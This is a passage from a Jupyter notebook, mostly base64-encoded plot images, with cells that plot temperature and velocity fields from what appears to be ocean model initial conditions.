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", "text/plain": [ "<Figure size 700x400 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "initial_conditions.plot(\"temp\", eta=0, s=-1)" ] }, { "cell_type": "markdown", "id": "14eb2c61-6122-428e-8632-f7b23c8fcaec", "metadata": {}, "source": [ "Plotting velocity fields works similarly." ] }, { "cell_type": "code", "execution_count": 17, "id": "eb6851a3-3ef3-48b7-ae93-e4ecd6c8bdbb", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[########################################] | 100% Completed | 3.04 sms\n", "CPU times: user 5min 24s, sys: 501 ms, total: 5min 24s\n", "Wall time: 3.43 s\n" ] }, { "data": { "image/png": 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